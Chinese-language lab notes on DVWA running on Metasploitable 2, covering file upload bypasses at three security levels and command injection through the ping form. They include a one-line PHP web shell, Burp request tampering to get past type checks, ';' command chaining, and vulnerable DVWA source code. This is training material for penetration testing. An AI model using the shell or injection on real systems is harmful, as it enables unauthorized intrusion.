任务088:手动漏洞挖掘(四)

文件上传漏洞

文件上传漏洞是非常经典的漏洞,非常有名的漏洞,文件上这个功能传不能说是一个漏洞应为文件上传web应用需要的程序,比如在论坛里上发一个一些头像图片的话是非常好的功能,电子商务比如要上发身份证,为什么叫他叫做漏洞是应为主要是程序员没有做好web的编码和web过滤的了解欠缺,web上传做的好的话其实是可以完全不了的

实验环境

实验靶机metasploitable-linux-2.0.0里面的DVWA

正常情况文件上发

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这样就可以看见我刚才上发的文件了
在这里插入图片描述

低安全级别上发木马

下面是低安全级别,然后上发木马
下面是操作
先创建一个木马文件文件名a.php
内容<?php echo shell_exec($_GET['cmd']);?>这个是个一句话的木马可以叫是输入的URL变成目标web的系统命令
在这里插入图片描述
开始上发
发现已经上发成功
在这里插入图片描述
然后我就可以利用这个木马进行系统命令操作
访问这个目录
复制到URL里要运行这个木马文件里的cmd这个所有要添加 ?cmd=pwd这个pwd就是你要输入的命令pwd是查看当前文件所在的位置
在这里插入图片描述然后回车访问这个web就可以查看当前文件所在的位置了
在这里插入图片描述
在换一个ls试试ls是查看当前文件里的内容
在这里插入图片描述这个靶机的级别是低是没有进行过滤的

上发请求的包
在这里插入图片描述

用截断代理修改发送文件的大小限制
发送一个大于1mb的照片
在这里插入图片描述
先用burp截断下来
在这里插入图片描述
然后 就可以不受限制了这个靶机是低级别的没有过滤任何东西
![在这里插入图片描述](https://img-blog.csdnimg.cn/20190924182031122.png

下面是他的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";

$target_path = $target_path . basename( $_FILES['uploaded']['name']);

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {

echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
?>

中安全级别上发木马

在这里插入图片描述
正常情况下是可以发送正常的照片的 这个是就不演示;
下面就可以修改请求来
正常情况是上发不了文件的只能上发照片
可以看到是无法上发文件的
在这里插入图片描述
修改请求的内容还是可以发送文件的这个文件里有一个短语言的木马
修改请求下面这个照片是没有修改的
在这里插入图片描述
下面这个进行修改过的

在这里插入图片描述
修改后上发文件就成功了
在这里插入图片描述
还可以执行命令的
在这里插入图片描述

查看webshell是什么内型的

a.php文件内容
在这里插入图片描述
文件类型是从前大概10个字节进行定义的
查看前10字节可以判断文件类型
在这里插入图片描述
把a.php修改成a.txt
查看类型还是php类型应为他先看你的文件头然后在查看文件的具体内容
在这里插入图片描述

高安全级别上发木马

正常访问是可以正常上发的
在这里插入图片描述上发a.php就不能上发过去了
在这里插入图片描述修改文件类型也是上发过去的发送a.php是个木马
没有修改的
在这里插入图片描述
修改请求
在这里插入图片描述
也是发送不过去的
在这里插入图片描述
这个在加上后缀就可以上发过去了
在这里插入图片描述可以看到已经成功上发
在这里插入图片描述是可以运行命令的
在这里插入图片描述

挖掘漏洞原则

任务086:手动漏洞挖掘(二)

挖掘漏洞原则是非常非常重要的

这个是我的看的教程的笔记。
里面是我自己实验的照片。
挖掘漏洞原则是非常非常重要的

  1. 所有的变量
    所有的变量都要去尝试,用各种各样的注入攻击手段尝试每一个变量每一个可以提交的数据的位置都要去尝试提交注入
  2. 所有的头
    还要关住HTTP的头也是可以注入信息也可以完成相应的注入应为头也可以判断一个条件
    重定要关注cookie(苦k)
  3. 逐个变量删除
    应为在当前页面提交是不关注这些变量的按照逐个删除的方法来测试
    叫没有用的变量删除这样我就不用这么麻烦在给没有用的变量测试了
    下面是逐个删除没有用的变量
    1. 下面这个是没有删除如何变量的可以正常访问网页的
      蓝色是变量红色是变量值
      在这里插入图片描述
      下面是叫没有用的变量删除掉,如果删除有用的变量就会响应的结果就有变化
      在这里插入图片描述

利用没有过滤字符在页面直接运行系统命令漏洞

级别低,实验靶机metasploitable-linux-2.0.0
这个页面是进行ping地址的
在这里插入图片描述

分析这个页面

​ 这个ping命令是从是从靶机发出来的,ping完然后返回给客户端
在这里插入图片描述

这个就发现这个ping和操作系统的ping一样会不会是会不会是服务器自己的主机ping的包返回过来的

比如程序员做出这个程序来他偷懒他直接调用系统命令来ping,应为ping自己做出来比较麻烦,程序员可能会调用系统命令直接返回给页面,
发现和系统ping包一样下面是对比
在这里插入图片描述

### 他他尽然是是直接运行操作系统的命令那么看看能不能运行其他命令

在系统里加个;就可以运行其他系统命令了;这个符合是在添加一个运行命令
在这里插入图片描述
看看这个目标页面也是可以的这样就拿到了在页面直接运行系统命令
在这里插入图片描述

注意了在BurpSuite工具里可以看见

在里请求是返回出现错误的是
在这里插入图片描述
可以分析我输入;这个符合在URL里是怎么显示的,发现是%3B这个就有可能编码了,发现是URL编码
在这里插入图片描述

实验靶机metasploitable-linux-2.0.0的ping后台源代码

安全级别低

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>

安全级别中

1
<?php
     if( isset( $_POST[ 'submit'] ) ) {



     $target = $_REQUEST[ 'ip' ];



      // Remove any of the charactars in the array (blacklist).




   $substitutions = array(

        '&&' => '',

        ';' => '',

    );



$target = str_replace( array_keys( $substitutions ), $substitutions, $target );



// Determine OS and execute the ping command.

    if (stristr(php_uname('s'), 'Windows NT')) { 



$cmd = shell_exec( ‘ping ‘ . $target );

        echo '<pre>'.$cmd.'</pre>';



} else {



$cmd = shell_exec( ‘ping -c 3 ‘ . $target );

        echo '<pre>'.$cmd.'</pre>';



}

    }



?>

安全级别高


    <?php
    if( isset( $_POST[ 'submit' ] ) ) {
        $target = $_REQUEST["ip"];   
        $target = stripslashes( $target ); 
        // Split the IP into 4 octects   
        $octet = explode(".", $target);  
        // Check IF each octet is an integer      
        if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)  ) { 
        // If all 4 octets are int's put the IP back together. 
        $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
                    // Determine OS and execute the ping command.    
        if (stristr(php_uname('s'), 'Windows NT')) { 
                    $cmd = shell_exec( 'ping  ' . $target );
                     echo '<pre>'.$cmd.'</pre>'; 
        } else { 
                     $cmd = shell_exec( 'ping  -c 3 ' . $target );  
                     echo '<pre>'.$cmd.'</pre>';
              }
            }                                           
          else {
              echo '<pre>ERROR: You have entered an invalid IP</pre>';
          }
     }
  ?>